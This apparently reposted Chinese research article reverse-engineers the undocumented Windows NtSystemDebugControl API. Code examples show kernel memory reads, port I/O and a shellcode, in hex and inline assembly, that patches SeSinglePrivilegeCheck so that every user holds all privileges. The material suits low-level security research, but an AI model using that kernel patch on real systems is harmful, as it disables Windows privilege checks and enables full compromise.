对Native API NtSystemDebugControl的分析

对Native API NtSystemDebugControl的分析
文章作者:tombkeeper[0x40]nsfocus[0x2e]com

在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。

NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:

Windows NT 0xba
Windows 2000 0xde
Windows XP 0xff
Windows 2003 0x108

这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。

这就是ntexapi.h中的定义:

typedef enum _SYSDBG_COMMAND {
SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength
);

从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。

NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。

从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。

下面的enum是我逆向工程的结果,绝大部分经过测试:

typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,

//获取KdVersionBlock
SysDbgSysGetVersion = 7,

//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
//但是不能从用户空间拷贝到内核空间
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,

//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
//但是不能从内核空间拷贝到用户空间
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,

//从物理地址拷贝到用户空间,不能写到内核空间
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,

//从用户空间拷贝到物理地址,不能读取内核空间
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,

//读写处理器相关控制块
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,

//读写端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,

//分别调用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,

//读写总线数据
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,

SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,

//获取和设置一些调试相关的变量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。

下面举几个具体应用的例子。

例子1:

下面代码演示读取KdVersionBlock:

//————————————————————————
typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgSysGetVersion,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock), //必须是0x28
NULL
);

printf (“KernBase: 0x%.8x\n”,KdVersionBlock.KernBase);
printf (“PsLoadedModuleList: 0x%.8x\n”,KdVersionBlock.PsLoadedModuleList);
printf (“DebuggerDataList: 0x%.8x\n”,KdVersionBlock.DebuggerDataList);
//————————————————————————

例子2:

下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。

//————————————————————————
typedef struct _MEMORY_CHUNKS {
ULONG Address;
PVOID Data;
ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0x2] = {0};

QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff; //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgCopyMemoryChunks_0,
&QueryBuff,
sizeof(MEMORY_CHUNKS), //必须是0x0C
NULL,
0,
&ReturnLength
);

printf (“\”MZ\”: %s\n”,Buff);
//————————————————————————

例子3:

下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c mov al,[ebp+0xc]
80580e69 c9 leave
80580e6a c20c00 ret 0xc

修改后:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90 nop
80580e67 b001 mov al,0x1
80580e69 c9 leave
80580e6a c20c00 ret 0xc

这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。

\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
\x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
\x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

//————————————————————————
#pragma comment(linker, “/entry:main /ALIGN:4096” )
#pragma comment(lib, “kernel32.lib”)

#define sysenter __asm __emit 0x0f __asm __emit 0x34

void main(void)
{
__asm
{
int 3 //debug
jmp patch

SystemDebugControl:

mov ax,0x108
mov edx,esp
sysenter
ret

patch:

push 0xc901b090
mov eax,esp
push 0x04
push eax
push 0x80580e66
push esp
pop ebx
xor eax,eax
push eax
push esp //ReturnLength
push eax //OutputBufferLength
push eax //OutputBuffer
push 0x0c //InputBufferLength
push ebx //InputBuffer
push 0x09 //ControlCode
push eax //for sysenter ret
call SystemDebugControl
add esp,0x30 //只是为了修正堆栈
}
}
//————————————————————————

上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4:

下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:

//————————————————————————
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03

#include
#include

#pragma comment(lib, “advapi32″)

#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a ” failed\n”); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND
{
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT
{
DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

BYTE InPortB (int Port)
{
BYTE Value;
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysReadIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
return Value;
}

void OutPortB (int Port, BYTE Value)
{
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysWriteIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
};

void BeepOn (int Freq)
{
BYTE b;

if ((Freq >= 20) && (Freq <= 20000)) { Freq = 1193181 / Freq; b = InPortB (0x61); if ((b & 3) == 0) { OutPortB (0x61, (BYTE) (b | 3)); OutPortB (0x43, 0xb6); } OutPortB (0x42, (BYTE) Freq); OutPortB (0x42, (BYTE) (Freq >> 8));
}
}

void BeepOff (void)
{
BYTE b;

b = (InPortB (0x61) & 0xfc);
OutPortB (0x61, b);
}

int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

EnablePrivilege (SE_DEBUG_NAME);

FCHK ((hNtdll = LoadLibrary (“ntdll.dll”)) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, “ZwSystemDebugControl”)) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
BeepOn (1000); //声音频率1000Hz
Sleep (1000);
BeepOff ();
}
else
{
printf (“This program require Windows XP or Windows 2003.\n”);
}
return 0;
}
//————————————————————————

参考资源:

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h

关注微信公众号,手机阅读更方便: 程序员的阅微草堂

知识共享许可协议莿鸟栖草堂CFC4N 创作,采用 知识共享 署名-非商业性使用-相同方式共享(3.0未本地化版本)许可协议进行许可。基于http://www.cnxct.com上的作品创作。转载请注明转自:对Native API NtSystemDebugControl的分析

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据